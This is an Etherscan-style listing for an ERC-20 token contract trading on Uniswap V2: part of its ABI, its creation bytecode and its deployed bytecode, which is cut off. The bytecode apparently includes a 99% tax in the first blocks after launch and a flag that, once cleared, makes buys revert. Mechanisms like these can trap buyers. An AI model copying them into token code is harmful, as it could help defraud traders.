:[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"_marketingFeeBuy","type":"uint8"},{"internalType":"uint8","name":"_liquidityFeeBuy","type":"uint8"},{"internalType":"uint8","name":"_devFeeBuy","type":"uint8"},{"internalType":"uint8","name":"_marketingFeeSell","type":"uint8"},{"internalType":"uint8","name":"_liquidityFeeSell","type":"uint8"},{"internalType":"uint8","name":"_devFeeSell","type":"uint8"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newMaxBuy","type":"uint256"},{"internalType":"uint256","name":"newMaxSell","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newPercentage","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateThresholdSwapAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
600c805461ffff19166101011790556101c0604052600060c081905260e08190526101008190526101208190526101408190526101608190526101808190526101a052600d80546001600160401b03191690556010805460ff191660011790553480156200006c57600080fd5b506040805180820182526007808252662c1021a420a4a760c91b6020808401829052845180860190955291845290830152906003620000ac8382620007d1565b506004620000bb8282620007d1565b5050506000620000d06200054460201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350737a250d5630b4cf539739df2c5dacb4c659f2488d60808190526040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000174573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200019a91906200089d565b6001600160a01b031663c9c65396306080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001ea573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021091906200089d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200025e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028491906200089d565b6001600160a01b0390811660a081905260805190911660009081526014602081905260408083208054600160ff1991821681179092559484529083208054909416811790935590620002de6005546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff199586161790553081526014909252812080549092166001908117909255601390620003376005546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff199586161790553081526013909252812080549092166001908117909255601590620003906005546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526015845282812080548616600190811790915560a05190921681528281208054861683179055601690935291208054909216179055608051620004079060001962000548565b506b033b2e3c9fd0803ce800000060088190556009819055600a8190556103e862000434826001620008de565b620004409190620008f8565b600b55600d805463ffffff0019169081905560ff6201000082048116916200047891630100000082048116916101009004166200091b565b6200048491906200091b565b600d805467ffffff00000000ff191660ff928316179081905566010000000000008104821691620004ce91670100000000000000810482169165010000000000909104166200091b565b620004da91906200091b565b600d805460ff929092166401000000000260ff60201b19909216919091179055600780546001600160a01b031990811673eac39a87deb69783336cc2da7579ac73ea6a0b1c9081179092556006805490911690911790556200053d338262000561565b506200094d565b3390565b60006200055733848462000661565b5060015b92915050565b6001600160a01b038216620005bd5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b620005d981600254620006c260201b620012a41790919060201c565b6002556001600160a01b038216600090815260208181526040909120546200060c918390620012a4620006c2821b17901c565b6001600160a01b038316600081815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600080620006d1838562000937565b905083811015620007255760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401620005b4565b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200075757607f821691505b6020821081036200077857634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620007cc57600081815260208120601f850160051c81016020861015620007a75750805b601f850160051c820191505b81811015620007c857828155600101620007b3565b5050505b505050565b81516001600160401b03811115620007ed57620007ed6200072c565b6200080581620007fe845462000742565b846200077e565b602080601f8311600181146200083d5760008415620008245750858301515b600019600386901b1c1916600185901b178555620007c8565b600085815260208120601f198616915b828110156200086e578886015182559484019460019091019084016200084d565b50858210156200088d5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600060208284031215620008b057600080fd5b81516001600160a01b03811681146200072557600080fd5b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176200055b576200055b620008c8565b6000826200091657634e487b7160e01b600052601260045260246000fd5b500490565b60ff81811683821601908111156200055b576200055b620008c8565b808201808211156200055b576200055b620008c8565b60805160a0516125c76200099d600039600081816103e60152610f8201526000818161081401528181611e9701528181611f5001528181611f8c01528181611ffe015261205a01526125c76000f3fe6080604052600436106102345760003560e01c80638da5cb5b1161012e578063c16dd4a4116100ab578063dd62ed3e1161006f578063dd62ed3e1461074c578063e16830a814610792578063f2fde38b146107b2578063f5b3c3bf146107d2578063f887ea401461080257600080fd5b8063c16dd4a414610631578063c18bc19514610651578063d212a69a14610671578063d3f6a1571461071d578063db5c80101461073d57600080fd5b8063a457c2d7116100f2578063a457c2d71461059c578063a9059cbb146105bc578063b8863115146105dc578063b9e418e7146105fc578063c02466681461061157600080fd5b80638da5cb5b146105035780638ea5220f1461052157806395d89b411461054157806396880b17146105565780639fccce321461058657600080fd5b8063313ce567116101bc578063555467a111610180578063555467a1146104595780636ddd17131461047957806370a0823114610498578063715018a6146104ce5780637571336a146104e357600080fd5b8063313ce567146103785780633265e8461461039457806339509351146103b457806349bd5a5e146103d45780634fbee1931461042057600080fd5b806318160ddd1161020357806318160ddd146102ed5780631a8145bb1461030c5780631c6e8a75146103225780631f3fed8f1461034257806323b872dd1461035857600080fd5b806306fdde0314610240578063095ea7b31461026b57806310d5de531461029b57806311a582c3146102cb57600080fd5b3661023b57005b600080fd5b34801561024c57600080fd5b50610255610836565b6040516102629190612106565b60405180910390f35b34801561027757600080fd5b5061028b61028636600461216c565b6108c8565b6040519015158152602001610262565b3480156102a757600080fd5b5061028b6102b6366004612198565b60146020526000908152604090205460ff1681565b3480156102d757600080fd5b506102eb6102e63660046121b5565b6108df565b005b3480156102f957600080fd5b506002545b604051908152602001610262565b34801561031857600080fd5b506102fe600f5481565b34801561032e57600080fd5b506102eb61033d3660046121e7565b610a7e565b34801561034e57600080fd5b506102fe600e5481565b34801561036457600080fd5b5061028b610373366004612202565b610ac2565b34801561038457600080fd5b5060405160128152602001610262565b3480156103a057600080fd5b506102eb6103af366004612254565b610b2b565b3480156103c057600080fd5b5061028b6103cf36600461216c565b610d13565b3480156103e057600080fd5b506104087f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610262565b34801561042c57600080fd5b5061028b61043b366004612198565b6001600160a01b031660009081526013602052604090205460ff1690565b34801561046557600080fd5b5061028b6104743660046122c8565b610d49565b34801561048557600080fd5b50600c5461028b90610100900460ff1681565b3480156104a457600080fd5b506102fe6104b3366004612198565b6001600160a01b031660009081526020819052604090205490565b3480156104da57600080fd5b506102eb610d84565b3480156104ef57600080fd5b506102eb6104fe3660046122e1565b610df8565b34801561050f57600080fd5b506005546001600160a01b0316610408565b34801561052d57600080fd5b50600654610408906001600160a01b031681565b34801561054d57600080fd5b50610255610e4d565b34801561056257600080fd5b5061028b610571366004612198565b60156020526000908152604090205460ff1681565b34801561059257600080fd5b506102fe60115481565b3480156105a857600080fd5b5061028b6105b736600461216c565b610e5c565b3480156105c857600080fd5b5061028b6105d736600461216c565b610eab565b3480156105e857600080fd5b50600c5461028b9062010000900460ff1681565b34801561060857600080fd5b506102eb610eb8565b34801561061d57600080fd5b506102eb61062c3660046122e1565b610f01565b34801561063d57600080fd5b506102eb61064c3660046122e1565b610f56565b34801561065d57600080fd5b506102eb61066c3660046122c8565b61102c565b34801561067d57600080fd5b50600d546106d19060ff80821691610100810482169162010000820481169163010000008104821691600160201b8204811691650100000000008104821691600160301b8204811691600160381b90041688565b6040805160ff998a16815297891660208901529588169587019590955292861660608601529085166080850152841660a0840152831660c083015290911660e082015261010001610262565b34801561072957600080fd5b506102eb610738366004612316565b61110c565b6102eb6010805460ff19169055565b34801561075857600080fd5b506102fe610767366004612316565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561079e57600080fd5b506102eb6107ad3660046122e1565b611164565b3480156107be57600080fd5b506102eb6107cd366004612198565b6111b9565b3480156107de57600080fd5b5061028b6107ed366004612198565b60166020526000908152604090205460ff1681565b34801561080e57600080fd5b506104087f000000000000000000000000000000000000000000000000000000000000000081565b6060600380546108459061234f565b80601f01602080910402602001604051908101604052809291908181526020018280546108719061234f565b80156108be5780601f10610893576101008083540402835291602001916108be565b820191906000526020600020905b8154815290600101906020018083116108a157829003601f168201915b5050505050905090565b60006108d533848461130a565b5060015b92915050565b6005546001600160a01b031633146109125760405162461bcd60e51b815260040161090990612389565b60405180910390fd5b606461091d60025490565b61092791906123d4565b6103e88361093460025490565b61093e91906123f6565b61094891906123d4565b10156109a25760405162461bcd60e51b815260206004820152602360248201527f6d6178427579416d6f756e74206d75737420626520686967686572207468616e60448201526220312560e81b6064820152608401610909565b60646109ad60025490565b6109b791906123d4565b6103e8826109c460025490565b6109ce91906123f6565b6109d891906123d4565b1015610a325760405162461bcd60e51b8152602060048201526024808201527f6d617853656c6c416d6f756e74206d75737420626520686967686572207468616044820152636e20312560e01b6064820152608401610909565b6103e882610a3f60025490565b610a4991906123f6565b610a5391906123d4565b6008556103e881610a6360025490565b610a6d91906123f6565b610a7791906123d4565b6009555050565b6005546001600160a01b03163314610aa85760405162461bcd60e51b815260040161090990612389565b600c80549115156101000261ff0019909216919091179055565b6000610acf84848461136c565b610b218433610b1c8560405180606001604052806028815260200161256a602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190611a10565b61130a565b5060019392505050565b6005546001600160a01b03163314610b555760405162461bcd60e51b815260040161090990612389565b600d805463ff00ff00191661010060ff898116820263ff000000191692909217630100000089841681029190911762ff0000191662010000898516810291909117948590558404831693610bb19391810482169290041661240d565b610bbb919061240d565b600d805460ff92831665ff00000000ff19909116176501000000000086841681029190911767ffff0000000000001916600160381b868516810266ff000000000000191691909117600160301b868616810291909117938490558304841693610c2d939182048116929091041661240d565b610c37919061240d565b600d805460ff928316600160201b0264ff000000001982168117909255601e9183169216919091171115610cad5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420333025206f72206c6573730000006044820152606401610909565b600d54601e600160201b90910460ff161115610d0b5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420333025206f72206c6573730000006044820152606401610909565b505050505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916108d5918590610b1c90866112a4565b6005546000906001600160a01b03163314610d765760405162461bcd60e51b815260040161090990612389565b50600b81905560015b919050565b6005546001600160a01b03163314610dae5760405162461bcd60e51b815260040161090990612389565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610e225760405162461bcd60e51b815260040161090990612389565b6001600160a01b03919091166000908152601460205260409020805460ff1916911515919091179055565b6060600480546108459061234f565b60006108d53384610b1c8560405180606001604052806025815260200161251f602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190611a10565b60006108d533848461136c565b6005546001600160a01b03163314610ee25760405162461bcd60e51b815260040161090990612389565b600c805461ffff1916610101179055610efc436003612426565b601255565b6005546001600160a01b03163314610f2b5760405162461bcd60e51b815260040161090990612389565b6001600160a01b03919091166000908152601360205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314610f805760405162461bcd60e51b815260040161090990612389565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316036110015760405162461bcd60e51b815260206004820152601760248201527f4d757374206b65657020756e69737761705632506169720000000000000000006044820152606401610909565b6001600160a01b03919091166000908152601660205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146110565760405162461bcd60e51b815260040161090990612389565b606461106160025490565b61106b91906123d4565b6103e88261107860025490565b61108291906123f6565b61108c91906123d4565b10156110e55760405162461bcd60e51b815260206004820152602260248201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015261312560f01b6064820152608401610909565b6103e8816110f260025490565b6110fc91906123f6565b61110691906123d4565b600a5550565b6005546001600160a01b031633146111365760405162461bcd60e51b815260040161090990612389565b600780546001600160a01b039384166001600160a01b03199182161790915560068054929093169116179055565b6005546001600160a01b0316331461118e5760405162461bcd60e51b815260040161090990612389565b6001600160a01b03919091166000908152601560205260409020805460ff1916911515919091179055565b6005546001600160a01b031633146111e35760405162461bcd60e51b815260040161090990612389565b6001600160a01b0381166112485760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610909565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000806112b18385612426565b9050838110156113035760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610909565b9392505050565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b806000036113855761138083836000611a4a565b505050565b6005546001600160a01b038481169116148015906113b157506005546001600160a01b03838116911614155b80156113c65750600c5462010000900460ff16155b1561161857600c5460ff16611459576001600160a01b03831660009081526013602052604090205460ff168061141457506001600160a01b03821660009081526013602052604090205460ff165b6114595760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610909565b6001600160a01b03831660009081526016602052604090205460ff16801561149a57506001600160a01b03821660009081526014602052604090205460ff16155b156114f6576008548111156114f15760405162461bcd60e51b815260206004820152601c60248201527f627579207472616e73666572206f766572206d617820616d6f756e74000000006044820152606401610909565b61158e565b6001600160a01b03821660009081526016602052604090205460ff16801561153757506001600160a01b03831660009081526014602052604090205460ff16155b1561158e5760095481111561158e5760405162461bcd60e51b815260206004820152601d60248201527f53656c6c207472616e73666572206f766572206d617820616d6f756e740000006044820152606401610909565b6001600160a01b03821660009081526015602052604090205460ff1661161857600a546001600160a01b0383166000908152602081905260409020546115d49083612426565b11156116185760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b6044820152606401610909565b30600090815260208190526040902054600b54811080159081906116435750600c54610100900460ff165b80156116585750600c5462010000900460ff16155b801561167c57506001600160a01b03841660009081526016602052604090205460ff165b80156116a157506001600160a01b03851660009081526013602052604090205460ff16155b80156116c657506001600160a01b03841660009081526013602052604090205460ff16155b156116f157600c805462ff00001916620100001790556116e4611b07565b600c805462ff0000191690555b600c546001600160a01b03861660009081526013602052604090205460ff6201000090920482161591168061173e57506001600160a01b03851660009081526013602052604090205460ff165b15611747575060005b8015611a055760006012544310156117d25761176f6064611769876063611d3a565b90611dbc565b9050606361177e82605e6123f6565b61178891906123d4565b600e60008282546117999190612426565b90915550606390506117ac8260056123f6565b6117b691906123d4565b601160008282546117c79190612426565b909155506119e69050565b6001600160a01b03861660009081526016602052604090205460ff1680156118055750600d54600160201b900460ff1615155b156118e85760105460ff16151560000361181e57600080fd5b600d5461183d90606490611769908890600160201b900460ff16611d3a565b600d5490915060ff600160201b820481169161186291600160381b90910416836123f6565b61186c91906123d4565b600f600082825461187d9190612426565b9091555050600d5460ff600160201b82048116916118a6916501000000000090910416836123f6565b6118b091906123d4565b600e60008282546118c19190612426565b9091555050600d5460ff600160201b82048116916117ac91600160301b90910416836123f6565b6001600160a01b03871660009081526016602052604090205460ff1680156119145750600d5460ff1615155b156119e657600d546119319060649061176990889060ff16611d3a565b600d5490915060ff8082169161195091630100000090910416836123f6565b61195a91906123d4565b600f600082825461196b9190612426565b9091555050600d5460ff8082169161198a9161010090910416836123f6565b61199491906123d4565b600e60008282546119a59190612426565b9091555050600d5460ff808216916119c5916201000090910416836123f6565b6119cf91906123d4565b601160008282546119e09190612426565b90915550505b80156119f7576119f7873083611a4a565b611a018186612439565b9450505b610d0b868686611a4a565b60008184841115611a345760405162461bcd60e51b81526004016109099190612106565b506000611a418486612439565b95945050505050565b611a8781604051806060016040528060268152602001612544602691396001600160a01b0386166000908152602081905260409020549190611a10565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611ab690826112a4565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910161135f565b3060009081526020819052604081205490506000601154600e54600f54611b2e9190612426565b611b389190612426565b90506000821580611b47575081155b15611b5157505050565b600b54611b5f9060146123f6565b831115611b7757600b54611b749060146123f6565b92505b6000600283600f5486611b8a91906123f6565b611b9491906123d4565b611b9e91906123d4565b90506000611bac8583611dfe565b905047611bb882611e40565b6000611bc44783611dfe565b90506000611be187611769600e5485611d3a90919063ffffffff16565b90506000611bfe8861176960115486611d3a90919063ffffffff16565b90506000611c0c8284612426565b611c169085612439565b6000600f819055600e81905560115590508615801590611c365750600081115b15611c7f57611c458782611ff8565b60408051878152602081018390527f28fc98272ce761178794ad6768050fea1648e07f1e2ffe15afd3a290f8381486910160405180910390a15b6006546001600160a01b0316611c958447612439565b604051600081818185875af1925050503d8060008114611cd1576040519150601f19603f3d011682016040523d82523d6000602084013e611cd6565b606091505b50506007546040519199506001600160a01b0316904790600081818185875af1925050503d8060008114611d26576040519150601f19603f3d011682016040523d82523d6000602084013e611d2b565b606091505b50505050505050505050505050565b600082600003611d4c575060006108d9565b6000611d5883856123f6565b905082611d6585836123d4565b146113035760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610909565b600061130383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120d8565b600061130383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a10565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611e7557611e7561244c565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ef3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f179190612462565b81600181518110611f2a57611f2a61244c565b60200260200101906001600160a01b031690816001600160a01b031681525050611f75307f00000000000000000000000000000000000000000000000000000000000000008461130a565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790611fca90859060009086903090429060040161247f565b600060405180830381600087803b158015611fe457600080fd5b505af1158015610d0b573d6000803e3d6000fd5b612023307f00000000000000000000000000000000000000000000000000000000000000008461130a565b60405163f305d71960e01b8152306004820181905260248201849052600060448301819052606483015260848201524260a48201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063f305d71990839060c40160606040518083038185885af11580156120ac573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906120d191906124f0565b5050505050565b600081836120f95760405162461bcd60e51b81526004016109099190612106565b506000611a4184866123d4565b600060208083528351808285015260005b8181101561213357858101830151858201604001528201612117565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461216957600080fd5b50565b6000806040838503121561217f57600080fd5b823561218a81612154565b946020939093013593505050565b6000602082840312156121aa57600080fd5b813561130381612154565b600080604083850312156121c857600080fd5b50508035926020909101359150565b80358015158114610d7f57600080fd5b6000602082840312156121f957600080fd5b611303826121d7565b60008060006060848603121561221757600080fd5b833561222281612154565b9250602084013561223281612154565b929592945050506040919091013590565b803560ff81168114610d7f57600080fd5b60008060008060008060c0878903121561226d57600080fd5b61227687612243565b955061228460208801612243565b945061229260408801612243565b93506122a060608801612243565b92506122ae60808801612243565b91506122bc60a08801612243565b90509295509295509295565b6000602082840312156122da57600080fd5b5035919050565b600080604083850312156122f457600080fd5b82356122ff81612154565b915061230d602084016121d7565b90509250929050565b6000806040838503121561232957600080fd5b823561233481612154565b9150602083013561234481612154565b809150509250929050565b600181811c9082168061236357607f821691505b60208210810361238357634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000826123f157634e487b7160e01b600052601260045260246000fd5b500490565b80820281158282048414176108d9576108d96123be565b60ff81811683821601908111156108d9576108d96123be565b808201808211156108d9576108d96123be565b818103818111156108d9576108d96123be565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561247457600080fd5b815161130381612154565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156124cf5784516001600160a01b0316835293830193918301916001016124aa565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561250557600080fd5b835192506020840151915060408401519050925092509256fe45524332303a206465637265617365642063616e6e6f742062652062656c6f77207a65726f45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122085ee94ea2b235d8f98ca9d7fb89abc92fd76c3d47fc058d7e44ca2dd9a9b777f64736f6c63430008120033
Deployed Bytecode
0x6080604052600436106102345760003560e01c80638da5cb5b1161012e578063c16dd4a4116100ab578063dd62ed3e1161006f578063dd62ed3e1461074c578063e16830a814610792578063f2fde38b146107b2578063f5b3c3bf146107d2578063f887ea401461080257600080fd5b8063c16dd4a414610631578063c18bc19514610651578063d212a69a14610671578063d3f6a1571461071d578063db5c80101461073d57600080fd5b8063a457c2d7116100f2578063a457c2d71461059c578063a9059cbb146105bc578063b8863115146105dc578063b9e418e7146105fc578063c02466681461061157600080fd5b80638da5cb5b146105035780638ea5220f1461052157806395d89b411461054157806396880b17146105565780639fccce321461058657600080fd5b8063313ce567116101bc578063555467a111610180578063555467a1146104595780636ddd17131461047957806370a0823114610498578063715018a6146104ce5780637571336a146104e357600080fd5b8063313ce567146103785780633265e8461461039457806339509351146103b457806349bd5a5e146103d45780634fbee1931461042057600080fd5b806318160ddd1161020357806318160ddd146102ed5780631a8145bb1461030c5780631c6e8a75146103225780631f3fed8f1461034257806323b872dd1461035857600080fd5b806306fdde0314610240578063095ea7b31461026b57806310d5de531461029b57806311a582c3146102cb57600080fd5b3661023b57005b600080fd5b34801561024c57600080fd5b50610255610836565b6040516102629190612106565b60405180910390f35b34801561027757600080fd5b5061028b61028636600461216c565b6108c8565b6040519015158152602001610262565b3480156102a757600080fd5b5061028b6102b6366004612198565b60146020526000908152604090205460ff1681565b3480156102d757600080fd5b506102eb6102e63660046121b5565b6108df565b005b3480156102f957600080fd5b506002545b604051908152602001610262565b34801561031857600080fd5b506102fe600f5481565b34801561032e57600080fd5b506102eb61033d3660046121e7565b610a7e565b34801561034e57600080fd5b506102fe600e5481565b34801561036457600080fd5b5061028b610373366004612202565b610ac2565b34801561038457600080fd5b5060405160128152602001610262565b3480156103a057600080fd5b506102eb6103af366004612254565b610b2b565b3480156103c057600080fd5b5061028b6103cf36600461216c565b610d13565b3480156103e057600080fd5b506104087f000000000000000000000000ec329c36faceb2a8d0ed3729c73ce8059411b48581565b6040516001600160a01b039091168152602001610262565b34801561042c57600080fd5b5061028b61043b366004612198565b6001600160a01b031660009081526013602052604090205460ff1690565b34801561046557600080fd5b5061028b6104743660046122c8565b610d49565b34801561048557600080fd5b50600c5461028b90610100900460ff1681565b3480156104a457600080fd5b506102fe6104b3366004612198565b6001600160a01b031660009081526020819052604090205490565b3480156104da57600080fd5b506102eb610d84565b3480156104ef57600080fd5b506102eb6104fe3660046122e1565b610df8565b34801561050f57600080fd5b506005546001600160a01b0316610408565b34801561052d57600080fd5b50600654610408906001600160a01b031681565b34801561054d57600080fd5b50610255610e4d565b34801561056257600080fd5b5061028b610571366004612198565b60156020526000908152604090205460ff1681565b34801561059257600080fd5b506102fe60115481565b3480156105a857600080fd5b5061028b6105b736600461216c565b610e5c565b3480156105c857600080fd5b5061028b6105d736600461216c565b610eab565b3480156105e857600080fd5b50600c5461028b9062010000900460ff1681565b34801561060857600080fd5b506102eb610eb8565b34801561061d57600080fd5b506102eb61062c3660046122e1565b610f01565b34801561063d57600080fd5b506102eb61064c3660046122e1565b610f56565b34801561065d57600080fd5b506102eb61066c3660046122c8565b61102c565b34801561067d57600080fd5b50600d546106d19060ff80821691610100810482169162010000820481169163010000008104821691600160201b8204811691650100000000008104821691600160301b8204811691600160381b90041688565b6040805160ff998a16815297891660208901529588169587019590955292861660608601529085166080850152841660a0840152831660c083015290911660e082015261010001610262565b34801561072957600080fd5b506102eb610738366004612316565b61110c565b6102eb6010805460ff19169055565b34801561075857600080fd5b506102fe610767366004612316565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561079e57600080fd5b506102eb6107ad3660046122e1565b611164565b3480156107be57600080fd5b506102eb6107cd366004612198565b6111b9565b3480156107de57600080fd5b5061028b6107ed366004612198565b60166020526000908152604090205460ff1681565b34801561080e57600080fd5b506104087f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6060600380546108459061234f565b80601f01602080910402602001604051908101604052809291908181526020018280546108719061234f565b80156108be5780601f10610893576101008083540402835291602001916108be565b820191906000526020600020905b8154815290600101906020018083116108a157829003601f168201915b5050505050905090565b60006108d533848461130a565b5060015b92915050565b6005546001600160a01b031633146109125760405162461bcd60e51b815260040161090990612389565b60405180910390fd5b606461091d60025490565b61092791906123d4565b6103e88361093460025490565b61093e91906123f6565b61094891906123d4565b10156109a25760405162461bcd60e51b815260206004820152602360248201527f6d6178427579416d6f756e74206d75737420626520686967686572207468616e60448201526220312560e81b6064820152608401610909565b60646109ad60025490565b6109b791906123d4565b6103e8826109c460025490565b6109ce91906123f6565b6109d891906123d4565b1015610a325760405162461bcd60e51b8152602060048201526024808201527f6d617853656c6c416d6f756e74206d75737420626520686967686572207468616044820152636e20312560e01b6064820152608401610909565b6103e882610a3f60025490565b610a4991906123f6565b610a5391906123d4565b6008556103e881610a6360025490565b610a6d91906123f6565b610a7791906123d4565b6009555050565b6005546001600160a01b03163314610aa85760405162461bcd60e51b815260040161090990612389565b600c80549115156101000261ff0019909216919091179055565b6000610acf84848461136c565b610b218433610b1c8560405180606001604052806028815260200161256a602891396001600160a01b038a1660009081526001602090815260408083203384529091529020549190611a10565b61130a565b5060019392505050565b6005546001600160a01b03163314610b555760405162461bcd60e51b815260040161090990612389565b600d805463ff00ff00191661010060ff898116820263ff000000191692909217630100000089841681029190911762ff0000191662010000898516810291909117948590558404831693610bb19391810482169290041661240d565b610bbb919061240d565b600d805460ff92831665ff00000000ff19909116176501000000000086841681029190911767ffff0000000000001916600160381b868516810266ff000000000000191691909117600160301b868616810291909117938490558304841693610c2d939182048116929091041661240d565b610c37919061240d565b600d805460ff928316600160201b0264ff000000001982168117909255601e9183169216919091171115610cad5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420333025206f72206c6573730000006044820152606401610909565b600d54601e600160201b90910460ff161115610d0b5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420333025206f72206c6573730000006044820152606401610909565b505050505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916108d5918590610b1c90866112a4565b6005546000906001600160a01b03163314610d765760405162461bcd60e51b815260040161090990612389565b50600b81905560015b919050565b6005546001600160a01b03163314610dae5760405162461bcd60e51b815260040161090990612389565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610e225760405162461bcd60e51b815260040161090990612389565b6001600160a01b03919091166000908152601460205260409020805460ff1916911515919091179055565b6060600480546108459061234f565b60006108d53384610b1c8560405180606001604052806025815260200161251f602591393360009081526001602090815260408083206001600160a01b038d1684529091529020549190611a10565b60006108d533848461136c565b6005546001600160a01b03163314610ee25760405162461bcd60e51b815260040161090990612389565b600c805461ffff1916610101179055610